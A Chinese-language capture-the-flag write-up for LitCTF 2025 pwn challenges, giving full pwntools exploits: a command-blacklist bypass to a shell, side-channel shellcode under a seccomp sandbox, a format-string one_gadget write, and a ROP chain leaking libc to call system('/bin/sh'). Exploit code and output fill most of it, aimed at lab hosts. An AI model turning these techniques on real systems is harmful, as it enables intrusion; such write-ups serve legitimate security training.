0x00 2025-6-30:犯懒了,仅仅复现了nc
这道题目 2025-9-21补:wmctf强度太大,回过头来复现一下这个,放松一下身心
0x01 nc 把附件拖进ida发现得出了我看不懂的一坨玩意 在re手的指导下,直接用vscode打开得到了一段python代码,如下
1 2 3 4 5 6 7 8 9 10 11 12 13 import osprint ("input your command" )blacklist = ['cat' ,'ls' ,' ' ,'cd' ,'echo' ,'<' ,'${IFS}' ,'sh' ,'\\' ] while True : command = input () for i in blacklist: if i in command: exit(0 ) os.system(command)
直接给到了system执行,但是过滤了一系列命令 我第一思路是变量替换,输入如下
直接输入$0
也可getshell
0x02 shellcode 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 int __fastcall main (int argc, const char **argv, const char **envp) { void *buf; init(argc, argv, envp); buf = mmap(0LL , 0x1000u LL, 7 , 34 , -1 , 0LL ); if ( buf == (void *)-1LL ) { perror("mmap failed" ); exit (1 ); } puts ("Welcome LitCTF 2025" ); puts ("Please input your shellcode: " ); fflush(_bss_start); init_sandbox(); read(0 , buf, 0x100u LL); ((void (*)(void ))buf)(); return 0 ; }
看沙箱
1 2 3 4 5 6 7 8 9 10 11 line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008 0005: 0x15 0x01 0x00 0x00000000 if (A == read) goto 0007 0006: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0008 0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0008: 0x06 0x00 0x00 0x00000000 return KILL
有open
,read
缺write
,直接侧信道爆破 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) filename = "pwn_patched" libcname = "/home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/libc6_2.35-0ubuntu3.10_amd64/lib/x86_64-linux-gnu/libc.so.6" host = "node6.anna.nssctf.cn" port = 25114 elf = context.binary = ELF(filename) if libcname: libc = ELF(libcname) gs = ''' b main set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/libc6-dbg_2.35-0ubuntu3.10_amd64/usr/lib/debug set directories /home/r3t2/.config/cpwn/pkgs/2.35-0ubuntu3.10/amd64/glibc-source_2.35-0ubuntu3.10_all/usr/src/glibc/glibc-2.35 ''' def start (): if args.P: return process(elf.path) elif args.R: return remote(host, port) else : return gdb.debug(elf.path, gdbscript = gs) def find (i, c ): global io io = start() shellcode = asm(""" mov rax, 0 movabs rax, 0x67616C66 push 0 push rax push rsp pop rdi xor rsi, rsi xor rdx, rdx mov rax, 2 syscall mov rsi, rdi mov rdi, rax xor rax, rax mov rdx, 0x100 syscall mov al, [rsp+{}] cmp al, {} jbe $ """ .format (i, c)) io.recvuntil(b'shellcode: \n' ) io.send(shellcode) try : io.recv(timeout=1 ) io.close() return True except EOFError: io.close() return False flag = '' i = 0 while True : l = 0x20 r = 0x80 while l <= r: m = (l + r) // 2 if find(i, m): r = m - 1 else : l = m + 1 if l==0 : break print (l) flag += chr (l) log.success("right, flag now is --> " +flag) i += 1 log.success("final flag --> " +flag) io.interactive()
爆破几分钟后
1 2 3 4 5 6 7 8 9 [DEBUG] Sent 0x3f bytes: 00000000 48 c7 c0 00 00 00 00 48 b8 66 6c 61 67 00 00 00 │H···│···H│·fla│g···│ 00000010 00 6a 00 50 54 5f 48 31 f6 48 31 d2 48 c7 c0 02 │·j·P│T_H1│·H1·│H···│ 00000020 00 00 00 0f 05 48 89 fe 48 89 c7 48 31 c0 48 c7 │····│·H··│H··H│1·H·│ 00000030 c2 00 01 00 00 0f 05 8a 44 24 2c 3c 20 76 fe │····│····│D$,<│ v·│ 0000003f [*] Closed connection to node6.anna.nssctf.cn port 25114 32 [+] right, flag now is --> NSSCTF{3e8b3993-0c36-4a66-8e52-5104b9d9f808}
0x03 onlyone 题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int __fastcall __noreturn main (int argc, const char **argv, const char **envp) { char v3; unsigned __int64 v4; v4 = __readfsqword(0x28u ); setvbuf(stdin , 0LL , 2 , 0LL ); setvbuf(stdout , 0LL , 2 , 0LL ); setvbuf(stderr , 0LL , 2 , 0LL ); puts ("Welcome Lictf 2025" ); printf ("gift 1 is %p\n" , &v3); printf ("gift 2 is %p\n" , &puts ); read(0 , buf, 0x100u LL); printf (buf); _exit(0 ); }
给了栈地址和libc
地址,非栈上格串,在printf
的返回地址后一个单元部署one_gadget
,最后修改printf
的返回地址为ret
即可 见另一篇博客 exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) filename = "pwn_patched" libcname = "/home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.17/amd64/libc6_2.31-0ubuntu9.17_amd64/lib/x86_64-linux-gnu/libc.so.6" host = "node1.anna.nssctf.cn" port = 28326 elf = context.binary = ELF(filename) if libcname: libc = ELF(libcname) gs = ''' b printf set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.17/amd64/libc6-dbg_2.31-0ubuntu9.17_amd64/usr/lib/debug set directories /home/r3t2/.config/cpwn/pkgs/2.31-0ubuntu9.17/amd64/glibc-source_2.31-0ubuntu9.17_all/usr/src/glibc/glibc-2.31 ''' def start (): if args.P: return process(elf.path) elif args.R: return remote(host, port) else : return gdb.debug(elf.path, gdbscript = gs) io = start() io.recvuntil(b'0x' ) printf_ret = int (io.recv(12 ), 16 ) - 0xf io.recvuntil(b'0x' ) libc_base = int (io.recv(12 ), 16 ) - libc.sym['puts' ] log.info("libc_base --> " +hex (libc_base)) log.info("printf_ret --> " +hex (printf_ret)) printf_ret = printf_ret & 0xffff payload = b'%p' *9 + '%{}c' .format (printf_ret - 0x5c ).encode() + b"%hn" + \ '%{}c' .format (0x10000 - printf_ret + 0xba ).encode() + b"%39$hhn" io.send(payload) io.recvuntil(b'0x' ) elf_base = int (io.recv(12 ), 16 ) - 0x201060 log.info("elf_base --> " +hex (elf_base)) ret = elf_base + 0x954 one_gadget = libc_base + 0xe3b01 target = printf_ret + 0x8 payload = '%{}c' .format (0xba ).encode() + b"%39$hhn" + \ '%{}c' .format (target - 0xba ).encode() + b"%27$hn" payload=payload.ljust(0x100 ,b'\x00' ) io.send(payload) payload = '%{}c' .format (0xba ).encode() + b"%39$hhn" + \ '%{}c' .format ((one_gadget & 0xffff ) - 0xba ).encode() + b"%41$hn" payload=payload.ljust(0x100 ,b'\x00' ) io.send(payload) payload = '%{}c' .format (0xba ).encode() + b"%39$hhn" + \ '%{}c' .format (target + 2 - 0xba ).encode() + b"%27$hn" payload=payload.ljust(0x100 ,b'\x00' ) io.send(payload) payload = '%{}c' .format (0xba ).encode() + b"%39$hhn" + \ '%{}c' .format (((one_gadget >> 16 ) & 0xffff ) - 0xba ).encode() + b"%41$hn" payload=payload.ljust(0x100 ,b'\x00' ) io.send(payload) payload = '%{}c' .format (0xba ).encode() + b"%39$hhn" + \ '%{}c' .format (target + 4 - 0xba ).encode() + b"%27$hn" payload=payload.ljust(0x100 ,b'\x00' ) io.send(payload) payload = '%{}c' .format (0xba ).encode() + b"%39$hhn" + \ '%{}c' .format (((one_gadget >> 32 ) & 0xffff ) - 0xba ).encode() + b"%41$hn" payload=payload.ljust(0x100 ,b'\x00' ) io.send(payload) payload = '%{}c' .format (ret & 0xffff ).encode() + b"%39$hn" payload=payload.ljust(0x100 ,b'\x00' ) io.send(payload) io.interactive()
效果如下
1 2 3 4 5 6 7 `$ c ca cat cat cat f cat fl cat fla cat flag cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x2d bytes: b'NSSCTF{472249c4-2a1e-41be-ac8f-5cbe8fb412e8}\n' NSSCTF{472249c4-2a1e-41be-ac8f-5cbe8fb412e8} $
0x04 master of rop 题目源码
1 2 3 4 5 6 7 8 __int64 __fastcall main (int a1, char **a2, char **a3) { _BYTE v4[32 ]; puts ("Welcome to LitCTF2025!" ); gets(v4, a2); return 0LL ; }
gets
函数…然而这里没有可用的gadget
…参考文章 ,套板子(针对gets
的手法价值不大)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *context(os='linux' , arch='amd64' , log_level='debug' ) filename = "pwn_patched" libcname = "/home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8/amd64/libc6_2.39-0ubuntu8_amd64/usr/lib/x86_64-linux-gnu/libc.so.6" host = "node6.anna.nssctf.cn" port = 20416 elf = context.binary = ELF(filename) if libcname: libc = ELF(libcname) gs = ''' b main set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8/amd64/libc6-dbg_2.39-0ubuntu8_amd64/usr/lib/debug set directories /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8/amd64/glibc-source_2.39-0ubuntu8_all/usr/src/glibc/glibc-2.39 ''' def start (): if args.P: return process(elf.path) elif args.R: return remote(host, port) else : return gdb.debug(elf.path, gdbscript = gs) io = start() gets_plt = elf.plt['gets' ] puts_plt = elf.plt['puts' ] call_gets = 0x4011c8 main = 0x4011ad io.recvuntil("Welcome to LitCTF2025!\n" ) payload = b'a' *0x20 + p64(0x404500 ) + p64(gets_plt)*2 + p64(puts_plt) + p64(call_gets) io.sendline(payload) io.sendline(p32(0 ) + b'a' *0xc ) io.sendline(b'a' *0x4 ) io.recv(8 ) libc_base = u64(io.recv(6 ).ljust(8 , b'\x00' )) + 0x28c0 log.success('libc_base --> ' + hex (libc_base)) pop_rdi_ret = libc_base + 0x10f75b system = libc_base + libc.sym['system' ] binsh = libc_base + next (libc.search('/bin/sh' )) ret = pop_rdi_ret + 1 log.info(hex (system)) log.info(hex (libc.sym['system' ])) payload = b'a' *0x28 + p64(pop_rdi_ret) + p64(binsh) + p64(ret) + p64(system) io.sendline(payload) io.interactive()
libc
小版本有问题,懒得搞了,我去你的***
0xff 时隔好几个月,回过头一看,过去的自己好菜啊…